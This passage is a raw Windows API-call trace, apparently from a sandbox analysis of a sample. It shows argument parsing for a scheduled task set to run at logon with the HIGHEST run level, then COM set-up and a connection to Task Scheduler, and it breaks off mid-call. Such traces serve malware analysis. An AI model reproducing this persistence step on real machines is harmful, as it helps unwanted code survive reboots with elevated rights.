(_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.735] lstrlenW (lpString="f") returned 1 [0057.735] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.736] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|mo|") returned 4 [0057.736] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.736] lstrlenW (lpString="|mo|") returned 4 [0057.736] lstrlenW (lpString="|f|") returned 3 [0057.736] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0057.736] SetLastError (dwErrCode=0x490) [0057.736] lstrlenW (lpString="d") returned 1 [0057.736] lstrlenW (lpString="d") returned 1 [0057.736] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.736] lstrlenW (lpString="f") returned 1 [0057.736] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.736] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|d|") returned 3 [0057.736] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.736] lstrlenW (lpString="|d|") returned 3 [0057.736] lstrlenW (lpString="|f|") returned 3 [0057.736] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0057.736] SetLastError (dwErrCode=0x490) [0057.736] lstrlenW (lpString="m") returned 1 [0057.736] lstrlenW (lpString="m") returned 1 [0057.736] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.736] lstrlenW (lpString="f") returned 1 [0057.736] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.736] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|m|") returned 3 [0057.736] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.736] lstrlenW (lpString="|m|") returned 3 [0057.736] lstrlenW (lpString="|f|") returned 3 [0057.736] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0057.736] SetLastError (dwErrCode=0x490) [0057.736] lstrlenW (lpString="i") returned 1 [0057.736] lstrlenW (lpString="i") returned 1 [0057.736] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.737] lstrlenW (lpString="f") returned 1 [0057.737] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.737] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|i|") returned 3 [0057.737] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.737] lstrlenW (lpString="|i|") returned 3 [0057.737] lstrlenW (lpString="|f|") returned 3 [0057.737] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0057.737] SetLastError (dwErrCode=0x490) [0057.737] lstrlenW (lpString="tn") returned 2 [0057.737] lstrlenW (lpString="tn") returned 2 [0057.737] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.737] lstrlenW (lpString="f") returned 1 [0057.737] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.737] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.737] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.737] lstrlenW (lpString="|tn|") returned 4 [0057.737] lstrlenW (lpString="|f|") returned 3 [0057.737] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0057.737] SetLastError (dwErrCode=0x490) [0057.737] lstrlenW (lpString="tr") returned 2 [0057.737] lstrlenW (lpString="tr") returned 2 [0057.737] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.737] lstrlenW (lpString="f") returned 1 [0057.737] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.737] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.737] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.737] lstrlenW (lpString="|tr|") returned 4 [0057.737] lstrlenW (lpString="|f|") returned 3 [0057.737] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0057.737] SetLastError (dwErrCode=0x490) [0057.737] lstrlenW (lpString="st") returned 2 [0057.738] lstrlenW (lpString="st") returned 2 [0057.738] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.738] lstrlenW (lpString="f") returned 1 [0057.738] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.738] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|st|") returned 4 [0057.738] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.738] lstrlenW (lpString="|st|") returned 4 [0057.738] lstrlenW (lpString="|f|") returned 3 [0057.738] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0057.738] SetLastError (dwErrCode=0x490) [0057.738] lstrlenW (lpString="sd") returned 2 [0057.738] lstrlenW (lpString="sd") returned 2 [0057.738] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.738] lstrlenW (lpString="f") returned 1 [0057.738] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.738] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|sd|") returned 4 [0057.738] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.738] lstrlenW (lpString="|sd|") returned 4 [0057.738] lstrlenW (lpString="|f|") returned 3 [0057.738] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0057.738] SetLastError (dwErrCode=0x490) [0057.738] lstrlenW (lpString="ed") returned 2 [0057.738] lstrlenW (lpString="ed") returned 2 [0057.738] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.738] lstrlenW (lpString="f") returned 1 [0057.738] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.738] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|ed|") returned 4 [0057.738] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.738] lstrlenW (lpString="|ed|") returned 4 [0057.738] lstrlenW (lpString="|f|") returned 3 [0057.738] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0057.739] SetLastError (dwErrCode=0x490) [0057.739] lstrlenW (lpString="it") returned 2 [0057.739] lstrlenW (lpString="it") returned 2 [0057.739] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.739] lstrlenW (lpString="f") returned 1 [0057.739] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.739] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|it|") returned 4 [0057.739] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.739] lstrlenW (lpString="|it|") returned 4 [0057.739] lstrlenW (lpString="|f|") returned 3 [0057.739] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0057.739] SetLastError (dwErrCode=0x490) [0057.739] lstrlenW (lpString="et") returned 2 [0057.739] lstrlenW (lpString="et") returned 2 [0057.739] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.739] lstrlenW (lpString="f") returned 1 [0057.739] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.739] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|et|") returned 4 [0057.739] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.739] lstrlenW (lpString="|et|") returned 4 [0057.739] lstrlenW (lpString="|f|") returned 3 [0057.739] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0057.739] SetLastError (dwErrCode=0x490) [0057.739] lstrlenW (lpString="k") returned 1 [0057.739] lstrlenW (lpString="k") returned 1 [0057.739] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.739] lstrlenW (lpString="f") returned 1 [0057.739] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.739] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|k|") returned 3 [0057.739] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.739] lstrlenW (lpString="|k|") returned 3 [0057.739] lstrlenW (lpString="|f|") returned 3 [0057.740] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0057.740] SetLastError (dwErrCode=0x490) [0057.740] lstrlenW (lpString="du") returned 2 [0057.740] lstrlenW (lpString="du") returned 2 [0057.740] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.740] lstrlenW (lpString="f") returned 1 [0057.740] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.740] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|du|") returned 4 [0057.740] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.740] lstrlenW (lpString="|du|") returned 4 [0057.740] lstrlenW (lpString="|f|") returned 3 [0057.740] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0057.740] SetLastError (dwErrCode=0x490) [0057.740] lstrlenW (lpString="ri") returned 2 [0057.740] lstrlenW (lpString="ri") returned 2 [0057.740] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.740] lstrlenW (lpString="f") returned 1 [0057.740] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.740] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|ri|") returned 4 [0057.740] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.740] lstrlenW (lpString="|ri|") returned 4 [0057.740] lstrlenW (lpString="|f|") returned 3 [0057.740] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0057.740] SetLastError (dwErrCode=0x490) [0057.740] lstrlenW (lpString="z") returned 1 [0057.740] lstrlenW (lpString="z") returned 1 [0057.740] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.740] lstrlenW (lpString="f") returned 1 [0057.740] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.740] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|z|") returned 3 [0057.741] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.741] lstrlenW (lpString="|z|") returned 3 [0057.741] lstrlenW (lpString="|f|") returned 3 [0057.741] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0057.741] SetLastError (dwErrCode=0x490) [0057.741] lstrlenW (lpString="f") returned 1 [0057.741] lstrlenW (lpString="f") returned 1 [0057.741] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.741] lstrlenW (lpString="f") returned 1 [0057.741] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.741] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.741] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.741] lstrlenW (lpString="|f|") returned 3 [0057.741] lstrlenW (lpString="|f|") returned 3 [0057.741] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0057.741] SetLastError (dwErrCode=0x0) [0057.741] SetLastError (dwErrCode=0x0) [0057.741] GetProcessHeap () returned 0x60000 [0057.741] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ce70 [0057.741] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.741] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0057.741] lstrlenW (lpString="LIMITED") returned 7 [0057.741] GetProcessHeap () returned 0x60000 [0057.741] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x10) returned 0x7d6c0 [0057.741] GetThreadLocale () returned 0x409 [0057.741] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0057.741] GetProcessHeap () returned 0x60000 [0057.741] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ce40 [0057.741] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.741] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0057.741] lstrlenW (lpString="HIGHEST") returned 7 [0057.742] GetProcessHeap () returned 0x60000 [0057.742] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x10) returned 0x7d6e0 [0057.742] GetThreadLocale () returned 0x409 [0057.742] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0057.742] GetProcessHeap () returned 0x60000 [0057.742] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ce10 [0057.742] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.742] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0057.742] lstrlenW (lpString="MINUTE") returned 6 [0057.742] GetProcessHeap () returned 0x60000 [0057.742] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7d700 [0057.742] GetThreadLocale () returned 0x409 [0057.742] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0057.742] GetProcessHeap () returned 0x60000 [0057.742] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cde0 [0057.742] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.742] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0057.742] lstrlenW (lpString="HOURLY") returned 6 [0057.742] GetProcessHeap () returned 0x60000 [0057.742] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7d720 [0057.742] GetThreadLocale () returned 0x409 [0057.742] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0057.742] GetProcessHeap () returned 0x60000 [0057.742] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cdb0 [0057.742] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.742] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0057.742] lstrlenW (lpString="DAILY") returned 5 [0057.742] GetProcessHeap () returned 0x60000 [0057.742] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xc) returned 0x7d740 [0057.742] GetThreadLocale () returned 0x409 [0057.742] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0057.742] GetProcessHeap () returned 0x60000 [0057.743] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cd80 [0057.743] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.743] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0057.743] lstrlenW (lpString="WEEKLY") returned 6 [0057.743] GetProcessHeap () returned 0x60000 [0057.743] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7d760 [0057.743] GetThreadLocale () returned 0x409 [0057.743] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0057.743] GetProcessHeap () returned 0x60000 [0057.743] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cd50 [0057.743] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.743] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0057.743] lstrlenW (lpString="MONTHLY") returned 7 [0057.743] GetProcessHeap () returned 0x60000 [0057.743] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x10) returned 0x7d780 [0057.743] GetThreadLocale () returned 0x409 [0057.743] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0057.743] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.743] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0057.743] lstrlenW (lpString="ONCE") returned 4 [0057.743] GetProcessHeap () returned 0x60000 [0057.743] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xa) returned 0x7d7a0 [0057.743] GetThreadLocale () returned 0x409 [0057.743] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0057.761] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.762] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0057.766] lstrlenW (lpString="ONSTART") returned 7 [0057.766] GetThreadLocale () returned 0x409 [0057.766] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0057.766] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.766] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0057.766] lstrlenW (lpString="ONLOGON") returned 7 [0057.766] GetThreadLocale () returned 0x409 [0057.766] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0057.778] SetLastError (dwErrCode=0x0) [0057.778] GetProcessHeap () returned 0x60000 [0057.778] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x1fc) returned 0x7c470 [0057.778] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.778] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0057.778] lstrlenW (lpString="First") returned 5 [0057.778] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.778] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0057.778] lstrlenW (lpString="Second") returned 6 [0057.778] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.778] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0057.779] lstrlenW (lpString="Third") returned 5 [0057.779] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.779] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0057.779] lstrlenW (lpString="Fourth") returned 6 [0057.779] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.779] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0057.779] lstrlenW (lpString="Last") returned 4 [0057.779] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.779] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0057.779] lstrlenW (lpString="First") returned 5 [0057.779] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.779] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0057.779] lstrlenW (lpString="Second") returned 6 [0057.779] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.779] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0057.779] lstrlenW (lpString="Third") returned 5 [0057.779] GetProcessHeap () returned 0x60000 [0057.779] GetProcessHeap () returned 0x60000 [0057.779] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d7a0) returned 1 [0057.779] GetProcessHeap () returned 0x60000 [0057.779] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d7a0) returned 0xa [0057.779] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d7a0 | out: hHeap=0x60000) returned 1 [0057.779] GetProcessHeap () returned 0x60000 [0057.779] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xc) returned 0x7d7a0 [0057.779] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.779] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0057.779] lstrlenW (lpString="Fourth") returned 6 [0057.779] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.780] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0057.780] lstrlenW (lpString="Last") returned 4 [0057.780] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x21c300, cchData=128 | out: lpLCData="0") returned 2 [0057.780] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.780] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0057.780] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0057.780] GetProcessHeap () returned 0x60000 [0057.780] GetProcessHeap () returned 0x60000 [0057.780] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6c0) returned 1 [0057.780] GetProcessHeap () returned 0x60000 [0057.780] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d6c0) returned 0x10 [0057.780] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6c0 | out: hHeap=0x60000) returned 1 [0057.780] GetProcessHeap () returned 0x60000 [0057.780] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x16) returned 0x7d6c0 [0057.780] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x21c320, cchData=128 | out: lpLCData="0") returned 2 [0057.780] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.780] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0057.780] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0057.780] GetProcessHeap () returned 0x60000 [0057.780] GetProcessHeap () returned 0x60000 [0057.780] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6e0) returned 1 [0057.780] GetProcessHeap () returned 0x60000 [0057.780] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d6e0) returned 0x10 [0057.780] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6e0 | out: hHeap=0x60000) returned 1 [0057.780] GetProcessHeap () returned 0x60000 [0057.780] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x16) returned 0x7d6e0 [0057.780] GetLocalTime (in: lpSystemTime=0x21c550 | out: lpSystemTime=0x21c550*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2a, wMilliseconds=0x1b8)) [0057.781] GetLocalTime (in: lpSystemTime=0x21ce08 | out: lpSystemTime=0x21ce08*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2a, wMilliseconds=0x1b8)) [0057.781] lstrlenW (lpString="") returned 0 [0057.781] lstrlenW (lpString="") returned 0 [0057.781] lstrlenW (lpString="") returned 0 [0057.781] lstrlenW (lpString="") returned 0 [0057.781] lstrlenW (lpString="") returned 0 [0057.781] lstrlenW (lpString="") returned 0 [0057.781] lstrlenW (lpString="") returned 0 [0057.781] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0057.803] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0057.987] CoCreateInstance (in: rclsid=0xff691ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff691ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x21cbd0 | out: ppv=0x21cbd0*=0x35dee0) returned 0x0 [0057.999] TaskScheduler:ITaskService:Connect (This=0x35dee0, serverName=0x21ccb0*(varType=0x8, wReserved1=0x21, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x21cc70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, 